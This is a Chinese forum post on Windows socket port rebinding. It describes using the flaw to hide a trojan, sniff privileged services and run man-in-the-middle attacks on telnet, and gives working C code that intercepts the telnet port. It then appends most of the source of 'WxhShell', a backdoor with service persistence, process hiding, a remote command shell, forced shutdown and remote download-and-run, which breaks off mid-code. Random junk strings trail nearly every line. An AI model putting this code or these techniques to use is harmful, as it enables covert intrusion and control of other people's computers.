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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &TP:yA[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zj~nnfoys  
io9y; S"+  
  saddr.sin_family = AF_INET; VM-qVd-  
_=|nOj39  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _l24Ba$F6  
)|U_Z"0H^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c y=I0  
7oZ@<QP'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nd$H 3sf  
|~@x4J5,  
  这意味着什么?意味着可以进行如下的攻击: aW0u8Dz  
RNv{n mf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t(J![wB}  
0Y5LDP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +={  
*F\T}k7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :`+|'*b(A  
2YL`3cgfb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BW'L.*2  
$R A4U<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TpJg-F  
m0=cMVCA!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "%{,T  
u iBl#J Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6uu^A9x  
Z{Vxr*9oO  
  #include |RR"'o_E  
  #include N@k3$+ls  
  #include %*$5!;  
  #include    -Nsk}Rnk*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XOu+&wOu  
  int main() /Jh1rck  
  { fA"<MslKLK  
  WORD wVersionRequested; <e;jW K  
  DWORD ret; <_"B}c/2$  
  WSADATA wsaData; >F/XZ C  
  BOOL val; @)o0GHNP  
  SOCKADDR_IN saddr; } sf YCz  
  SOCKADDR_IN scaddr; q}#iV$dAj  
  int err; F(d:t!  
  SOCKET s; X.s*>'  
  SOCKET sc; J4YT)-  
  int caddsize; 2ubmsbt$  
  HANDLE mt; r)gCTV(kb  
  DWORD tid;   p`d XqW  
  wVersionRequested = MAKEWORD( 2, 2 ); F 4GP7]  
  err = WSAStartup( wVersionRequested, &wsaData ); 2$M,*Dnr  
  if ( err != 0 ) { ]53O}sH>  
  printf("error!WSAStartup failed!\n"); }x]&L/  
  return -1; *~c qr  
  } cI2Fpf`2Wj  
  saddr.sin_family = AF_INET; #S%4?   
   o*X]b]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gdl| ^*tc  
 #;`Oj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a>U6Ag<  
  saddr.sin_port = htons(23); O#vn)+Y,*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nu@5 kwH  
  { uG;?vvg>  
  printf("error!socket failed!\n"); eI^gV'UK  
  return -1; y=w`w>%  
  } _mXs4  
  val = TRUE; R\*)@[y9l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .l \r9I(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6JSY56v  
  { \]I  
  printf("error!setsockopt failed!\n"); Axlm<3<wf"  
  return -1;  r@k"4ce-  
  } \b$<J.3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _%{0?|=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .Rvf/-e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #F!Kxks  
l xe`u}[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 09d9S`cS\  
  { :k~dj C  
  ret=GetLastError(); `a >?UUT4  
  printf("error!bind failed!\n"); =2%VZE7Vm  
  return -1; n3$gx,KL  
  } paWxanSt  
  listen(s,2); 1[SA15h  
  while(1) H -,TS^W  
  { 4z_n4=  
  caddsize = sizeof(scaddr); eLV.qLBUs  
  //接受连接请求  <B )   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /;l[I=VI  
  if(sc!=INVALID_SOCKET) fagM7)x  
  { #Ao !>qCE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DtI$9`~  
  if(mt==NULL) `*aBRwvK~  
  { Lc]1$  
  printf("Thread Creat Failed!\n"); U; U08/y  
  break; g*y/j]  
  } z]=8eV\  
  } "Zcu[2,  
  CloseHandle(mt); 1`JB)9P  
  } >3PMnI  
  closesocket(s); ^"x<)@X  
  WSACleanup(); $7NCb7%/L  
  return 0; 'wvMH;}u  
  }   ;7Okyj6EP  
  DWORD WINAPI ClientThread(LPVOID lpParam) SE)nD@:  
  { 514Z<omrK  
  SOCKET ss = (SOCKET)lpParam; mb1Vu  
  SOCKET sc; MQ`%``  
  unsigned char buf[4096]; HCj> ,^<h  
  SOCKADDR_IN saddr; mI"D(bx\  
  long num; ^m%52Tm h  
  DWORD val; w"8V0z  
  DWORD ret; 0Z HDBh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &94W-zh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /e1(? 20  
  saddr.sin_family = AF_INET; Wp[9beI*M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ar$*a>'?  
  saddr.sin_port = htons(23); ?pG/m%[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zkexei4^<  
  { .'T40=7  
  printf("error!socket failed!\n"); {kL&Rv%'  
  return -1; {eQWO.C{  
  } GeV+/^u  
  val = 100; `/4:I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uel{`T[S  
  { J,5+47b1}R  
  ret = GetLastError(); wL3,g2-L  
  return -1; dv!r.  
  } ,j178EX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?djQZ *  
  { bL1m'^r  
  ret = GetLastError(); VagT_D  
  return -1; 66\jV6eH7L  
  } A@$kLex  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y#HI;Y^RP  
  { 6B6vP%H#  
  printf("error!socket connect failed!\n"); }x:f%Z5h  
  closesocket(sc); gXy -Mpzp  
  closesocket(ss); Ef@,hX  
  return -1; Ck'aHe22'  
  } !SxG(*u  
  while(1) & mt)d  
  { pC(sS0J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;ME)Og  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~OypE4./1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .=c<>/ 0  
  num = recv(ss,buf,4096,0); *Y6xvib9*  
  if(num>0) I7(?;MpI  
  send(sc,buf,num,0); Vrkf(E3_V  
  else if(num==0) , ZFE(  
  break; (= ;N{u  
  num = recv(sc,buf,4096,0); R_N:#K.M  
  if(num>0) )Gk`[*q ;  
  send(ss,buf,num,0); s_Wyh !@M  
  else if(num==0) L0NA*C   
  break; 7%;_kFRV  
  } ?LP9iY${  
  closesocket(ss); gfgn68k  
  closesocket(sc); cWLqU  
  return 0 ; A''pS  
  } :/N+;- 18  
9Q.#\  
'V&Y[7Aeq  
========================================================== 09h.1/  
ST dNM\+  
下边附上一个代码,,WXhSHELL ~Z)/RT/  
=L]Q2V}  
========================================================== !{%&=tIZ  
!3 qVB  
#include "stdafx.h" =#xK=pRy;  
'0Q,  
#include <stdio.h> 1AD]v<M  
#include <string.h> Jxl6a:  
#include <windows.h> 7cTk@Gq  
#include <winsock2.h> `T&jPA9eY  
#include <winsvc.h> z(13~38+  
#include <urlmon.h> wvby?MhPY  
K8I$]M   
#pragma comment (lib, "Ws2_32.lib") 6'-As= iw  
#pragma comment (lib, "urlmon.lib") +.yT/y"  
jZ*WN|FK?  
#define MAX_USER   100 // 最大客户端连接数 s!B/WsK  
#define BUF_SOCK   200 // sock buffer ~AB*]Us  
#define KEY_BUFF   255 // 输入 buffer \jU |(DE  
O XP\R  
#define REBOOT     0   // 重启 g(4bBa9y  
#define SHUTDOWN   1   // 关机 tJ0NPI56yP  
r 2:2,5_  
#define DEF_PORT   5000 // 监听端口 +^|iZbZKx  
 aSutM  
#define REG_LEN     16   // 注册表键长度 0<p{BL 8  
#define SVC_LEN     80   // NT服务名长度 R.9V,R5  
PoSpkJH  
// 从dll定义API a;AzY'R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Dt|)=a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8V/L:h#7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~+6Vdx m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *%5{'  
2f~($}+*  
// wxhshell配置信息 rNDrp@A>  
struct WSCFG { w3T]H_V  
  int ws_port;         // 监听端口 p{$p $/A  
  char ws_passstr[REG_LEN]; // 口令 F>hZ{   
  int ws_autoins;       // 安装标记, 1=yes 0=no +-?/e-z")  
  char ws_regname[REG_LEN]; // 注册表键名 yYZxLJ='  
  char ws_svcname[REG_LEN]; // 服务名 x.mrCJn)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cmwPuK$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w n|]{Ww35  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1GCzyBSbb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1fU,5+PH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iEyeX0nm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cC{"<fYF  
0%`4px4J  
}; :mcYZPX#  
]; $] G-  
// default Wxhshell configuration l@Z6do  
struct WSCFG wscfg={DEF_PORT, ay )/q5  
    "xuhuanlingzhe", ),}AI/j;zY  
    1, rVnd0K  
    "Wxhshell", "2ru7Y"  
    "Wxhshell", ne}+E  
            "WxhShell Service", oXsL9,  
    "Wrsky Windows CmdShell Service", E0n6$5Uc?  
    "Please Input Your Password: ", 8 .>/6M  
  1, l`9t}  
  "http://www.wrsky.com/wxhshell.exe", 0#o/^Ah  
  "Wxhshell.exe" k(VB+k"3  
    }; 6A R2htN^  
q!~ -(&S  
// 消息定义模块 *XOJnyC_H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &EGqgNl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q'[}9e`Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w*9br SK  
char *msg_ws_ext="\n\rExit."; |OO in]5  
char *msg_ws_end="\n\rQuit."; WiL2  
char *msg_ws_boot="\n\rReboot..."; oPf)be| #  
char *msg_ws_poff="\n\rShutdown..."; KL,/2 (  
char *msg_ws_down="\n\rSave to "; _*M42<wcO  
g`^X#-!(  
char *msg_ws_err="\n\rErr!"; bBcp9C)iY  
char *msg_ws_ok="\n\rOK!"; 8 )*2@-Rp  
Fh|#u:n  
char ExeFile[MAX_PATH]; ,i9Byx#TN  
int nUser = 0; Ga>uFb}W~  
HANDLE handles[MAX_USER]; ZzGahtx)Y  
int OsIsNt; y m,H@~  
iRo.RU8>  
SERVICE_STATUS       serviceStatus; ;h=*!7:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #FOqP!p.E  
Cs3^9m6;d  
// 函数声明 y;cUl, :v  
int Install(void); zdl%iop3e  
int Uninstall(void); 7R.Q Ql  
int DownloadFile(char *sURL, SOCKET wsh); EI~"L$?  
int Boot(int flag); .jw}JJ  
void HideProc(void); O)|P,?  
int GetOsVer(void); _9H*agRe  
int Wxhshell(SOCKET wsl); k,F"-K+M  
void TalkWithClient(void *cs); `A$!]&[~|  
int CmdShell(SOCKET sock); M,5j5<7  
int StartFromService(void); d$ACDX2  
int StartWxhshell(LPSTR lpCmdLine); }kHdK vZ  
*.-.iY.a]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P;[OWSR[d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1F'1>Bu~  
WO5O?jo'  
// 数据结构和表定义 8M,9kXq{L  
SERVICE_TABLE_ENTRY DispatchTable[] = OI1ud/>h  
{ #eZ6)i<  
{wscfg.ws_svcname, NTServiceMain}, TcTM]ixr  
{NULL, NULL} q#A(gyy  
}; l ASL8O&\  
8M*PML4r  
// 自我安装 rPNb\Ri  
int Install(void) 63|+2-E2Q  
{ O%~jop7# 6  
  char svExeFile[MAX_PATH]; `vG,}Pt]  
  HKEY key; d,vNem-Z*L  
  strcpy(svExeFile,ExeFile); r[(xj n  
Lf([dE1  
// 如果是win9x系统,修改注册表设为自启动 G0 J4O!3  
if(!OsIsNt) { ]r! >{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i@5[FC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); []R? ViG  
  RegCloseKey(key); o; a:Dd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Tw#^;q-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , ^F)L|  
  RegCloseKey(key); GDhE[of  
  return 0; 4D%9Rc0 G  
    } '3]p29v{  
  } g[ 0<m#"  
} v0Dq@Q1  
else { &c(WE RW?-  
$mmup|;(  
// 如果是NT以上系统,安装为系统服务 >h2%[j=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uJHu>M}~  
if (schSCManager!=0) v[@c*wo  
{ 87)zCq  
  SC_HANDLE schService = CreateService .#u_#=g?  
  ( )Au6Nf  
  schSCManager, "vCM}F  
  wscfg.ws_svcname, s5.AW8X=?*  
  wscfg.ws_svcdisp, 5erc D  
  SERVICE_ALL_ACCESS, !MDNE*_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )D'^3) FF  
  SERVICE_AUTO_START, u<q :$  
  SERVICE_ERROR_NORMAL, X8dR+xd  
  svExeFile, +;g {$da5  
  NULL, JjpRHw8\  
  NULL, n%R;-?*v  
  NULL, FlfI9mm  
  NULL, \~d";~Y`  
  NULL V@7KsB  
  ); K3uG2g(>2  
  if (schService!=0) oRKEJ Nps  
  { KIA 2"KbjG  
  CloseServiceHandle(schService); jV#ahNq;  
  CloseServiceHandle(schSCManager); n?\ nn3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `nKH"TaX  
  strcat(svExeFile,wscfg.ws_svcname); )b<k#(i@#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =1I#f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 50TA :7  
  RegCloseKey(key); ~U(,TjJb  
  return 0; Qu=LnGo~P  
    }  nVu&/  
  } f)c~cJz<q  
  CloseServiceHandle(schSCManager); Q$obOEr2(  
} )%SkJ  
} x:vu'A  
svelYe#9z  
return 1; g~7Ri-"  
} FJ*i\Q/D  
] sz3]"2  
// 自我卸载 Q%/<ZC.Mz6  
int Uninstall(void) ,\ 2a=Fp  
{ ^l^fD t  
  HKEY key; J$4wL F3  
H/M Au7  
if(!OsIsNt) { Z3k(P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /vY_Y3k#  
  RegDeleteValue(key,wscfg.ws_regname); !3mA 0-!+  
  RegCloseKey(key); I -Xlx<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6:U$w7P0 e  
  RegDeleteValue(key,wscfg.ws_regname); =ji1S}e~p  
  RegCloseKey(key); lP Lz@Up~  
  return 0; _|72r} j  
  } A^ _a3$,0  
} OA:%lC!  
} {T"0DSV   
else { h2ZkCML  
|/g W_;(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -~eJn'W  
if (schSCManager!=0) mcz+ P |  
{ f:g,_|JD$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d=,%= @  
  if (schService!=0) 1h*)@  
  { 9ukg}_Hx  
  if(DeleteService(schService)!=0) { D+ ~_TA  
  CloseServiceHandle(schService); s[8@*/ds  
  CloseServiceHandle(schSCManager); 2&+#Vsm`V  
  return 0; Auy_K?he]  
  } ZcuA6#3B  
  CloseServiceHandle(schService); \MxoZ  
  } QKN<+,h!z>  
  CloseServiceHandle(schSCManager); DC1'Kyk  
} =0 @&GOq  
} 9Rek4<5  
iX'rU@C  
return 1; Lokl2o `  
} t+,4Ya|Xj  
< RCLI|  
// 从指定url下载文件 Rwr 2gMt7  
int DownloadFile(char *sURL, SOCKET wsh) )s1Ib4C  
{ K:' q>D@  
  HRESULT hr; l5+gsEux]  
char seps[]= "/"; izKfU?2]X@  
char *token; t_ksvWUo  
char *file; _k^0m  
char myURL[MAX_PATH]; Q]rD}Ckv-  
char myFILE[MAX_PATH]; b 1&i#I?{  
|uW:r17  
strcpy(myURL,sURL); L< zD<M  
  token=strtok(myURL,seps); +A~\tK{  
  while(token!=NULL) 5Z4- Z  
  { |QV!-LK  
    file=token; jjJ2>3avY  
  token=strtok(NULL,seps); qQ!1t>j+H  
  } Soie^$ Y  
{0! ~C=P  
GetCurrentDirectory(MAX_PATH,myFILE); bYz&P`o}  
strcat(myFILE, "\\"); =A Vg Iv  
strcat(myFILE, file); @/r^%G  
  send(wsh,myFILE,strlen(myFILE),0); _"4xKh)  
send(wsh,"...",3,0); GE>[*zN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q1E:l!2al  
  if(hr==S_OK) )2,eFNB#n  
return 0; \A `hj~  
else JT fd#g?I  
return 1; <p;k)S2J  
mDh1>>K'~  
} rF\ "w0J_  
_C\[DR0n  
// 系统电源模块 =)O,`.M.Y  
int Boot(int flag) ogFKUD*h&>  
{ x{NX8lN  
  HANDLE hToken; z} '!eCl  
  TOKEN_PRIVILEGES tkp; *m%]zj0bo  
$+}+zZX5  
  if(OsIsNt) { {cpEaOyOM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aA-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #_mi `7!B#  
    tkp.PrivilegeCount = 1; DF6c|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DO7W}WU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~OePp a\  
if(flag==REBOOT) { u*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) azjEq$<M  
  return 0; y8VpFa  
} Q-#$Aa  
else { kY]W Qu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3:%QB9qc]'  
  return 0; j@Qg0F  
} &R~n>>c  
  } iJnU%  
  else { uP\lCqK,  
if(flag==REBOOT) { iqnJ~g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T]Nu)  
  return 0; ?^:h\C^a"  
} ,]}?.g  
else { >:=|L%]s;\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (;. AS  
  return 0;  -C#PQV  
} bVmA tm[  
} ~.%K/=wK@  
`V[!@b:  
return 1; iut`7  
} ,Ma.V\T[  
Y32O-I!9u  
// win9x进程隐藏模块 4/ X/>Y1  
void HideProc(void) ^$%Z! uz  
{ )Qm[[pnj  
"uLjIIl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +!f=jg06  
  if ( hKernel != NULL ) ]a2W e`  
  { C@N1ljXJT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q4t(@0e}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 i&_Jgmr  
    FreeLibrary(hKernel); Y-ux7F{=z  
  } +.RKi !  
R{,ooxH\J  
return; tweY'x.{  
} .k TG[)F0b  
1>Q{Gs^  
// 获取操作系统版本 b]E|*  
int GetOsVer(void) ?)'~~ @NkH  
{ )m3q2W  
  OSVERSIONINFO winfo; &;LqF#ZL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I *c;H I  
  GetVersionEx(&winfo); 0'&X T^"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  n6F/Ac:  
  return 1; gBu1QviU  
  else z9W`FBg  
  return 0; avmcw~ TF  
} 2/,0iwj-  
uH3D{4   
// 客户端句柄模块 D+lzFn$3  
int Wxhshell(SOCKET wsl) lq.Te,Y%w  
{ @eqeN9e  
  SOCKET wsh; hzI *{  
  struct sockaddr_in client; )o!XWh  
  DWORD myID; (2?G:+C 7  
W:i?t8y\y  
  while(nUser<MAX_USER) X5YiFLH>y\  
{ ThW,Y" l  
  int nSize=sizeof(client); @1zQce>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9*6]&:fm  
  if(wsh==INVALID_SOCKET) return 1; \qsw"B*tv`  
dBO@6*N4c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VC5_v62&.  
if(handles[nUser]==0) %tA57Pn>  
  closesocket(wsh); n(~\l#o@  
else L.6WiVP)  
  nUser++; doHF|<s  
  } 5>9Y|UU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JT[*3 h  
t+CWeCp,  
  return 0; T5wjU*=IL  
} EoX_KG{  
dQy>Nmfy  
// 关闭 socket wx=0'T-[  
void CloseIt(SOCKET wsh) =1dI>M>tm  
{ ^s\3/z>b4!  
closesocket(wsh); qdCWy  
nUser--; 9Qj2W  
ExitThread(0); {#IPf0O  
} CeT~p6=  
mq/zTm  
// 客户端请求句柄 "S~_[/q  
void TalkWithClient(void *cs) (_* wt]"'  
{ A`O<6   
*cWmS\h|  
  SOCKET wsh=(SOCKET)cs; `Lyq[zg8  
  char pwd[SVC_LEN]; KsAH]2Q%  
  char cmd[KEY_BUFF]; F=G{)*Ih  
char chr[1]; *X%m@KLIKv  
int i,j; P+e KZo  
m}VM+=  
  while (nUser < MAX_USER) { i5hD#  
_RMQy~&b  
if(wscfg.ws_passstr) { E04l|   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^=cXo<6D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mN0=i(H<  
  //ZeroMemory(pwd,KEY_BUFF); tXF]t   
      i=0; (yQ 5`  
  while(i<SVC_LEN) { {u7##Vrgt8  
$ &5w\P  
  // 设置超时 g1DmV,W-Q  
  fd_set FdRead; T+"f]v  
  struct timeval TimeOut; 8F;>5i  
  FD_ZERO(&FdRead); zIQzmvf  
  FD_SET(wsh,&FdRead); _BnTv$.P  
  TimeOut.tv_sec=8; 9T2xU3UyY  
  TimeOut.tv_usec=0; ?y},,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (k-YI{D3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jm>3bd  
Ft%hh|$5y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =4C}{IL  
  pwd=chr[0]; vnX  
  if(chr[0]==0xd || chr[0]==0xa) { ~4.r^)\  
  pwd=0; gLj?Ys  
  break; a7H0!9^h  
  } eN0P9.eqM  
  i++; _X5_ez^/=  
    } .R 44$F  
t[.W$1=  
  // 如果是非法用户,关闭 socket ']51jabm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #;9H@:N  
} |oKu=/[K  
!7lj>BA>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WbjF]b\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #/J 'P[z  
upn8n vy4(  
while(1) { 8 ?TKN~ja  
U/MFhD(06  
  ZeroMemory(cmd,KEY_BUFF); -Q$nA>trKA  
XOr fs sj  
      // 自动支持客户端 telnet标准   90 { tIX  
  j=0; 7u11&(Lz  
  while(j<KEY_BUFF) { vg%QXaM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -@%%*YI>  
  cmd[j]=chr[0]; @ "d2.h  
  if(chr[0]==0xa || chr[0]==0xd) { `LP!D  
  cmd[j]=0; -$Y8!54  
  break; ESQ!@G/n  
  } O?K./So&  
  j++; C;1PsSE+A  
    } Q/_#k/R  
wuK=6RL  
  // 下载文件 ~bU7QLr  
  if(strstr(cmd,"http://")) { pD`/_-=^h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vX1uR]A[  
  if(DownloadFile(cmd,wsh)) ,j;PRJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k M*T$JqN  
  else * UcjQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eO5ktEoJ  
  } \tt'm\_  
  else { SPy3~Db-o  
Zy$Lrr!  
    switch(cmd[0]) { 2PC5^Ni/9@  
  &W_th\%  
  // 帮助 E1q%gi4Q%  
  case '?': { 4!%]fg}Um  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NXoK@Y  
    break; VK .^v<Yo  
  } w-FnE}"l  
  // 安装 ySX/=T:<;  
  case 'i': { XSD%t8<LO  
    if(Install()) _'iDF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HFh /$VM  
    else l)}t,!M6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  b;vNq  
    break; ]S /G\z  
    } tW6#e(^l6  
  // 卸载 u*R7zY  
  case 'r': { K^ D82tP  
    if(Uninstall()) a|x8=H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A!HK~yk~Q  
    else 04-Z vp2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2;(W-]V?  
    break; ZxSsR{  
    } Bhuw(KeB  
  // 显示 wxhshell 所在路径 8]*Q79  
  case 'p': { =y;@?=T  
    char svExeFile[MAX_PATH]; aPBX=;(  
    strcpy(svExeFile,"\n\r"); JieU9lA^&B  
      strcat(svExeFile,ExeFile); gA +:CgQ  
        send(wsh,svExeFile,strlen(svExeFile),0); _ VKgs]Y  
    break; gRvJ.Q{h  
    } "@t-Cy:!O  
  // 重启 $[e%&h@JR  
  case 'b': { sco uO$K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "Gh#`T0#a  
    if(Boot(REBOOT)) &c^7O#j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#ad6 \  
    else { 2ij/N%l  
    closesocket(wsh); U>3 >Ex  
    ExitThread(0); .ev\M0Dt  
    } n&7@@@cA  
    break; NG-`ag`s  
    } YRa4W.&Yn  
  // 关机 [t}):}~F|  
  case 'd': {  GVp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hmzair3X  
    if(Boot(SHUTDOWN)) q!*MH/R  
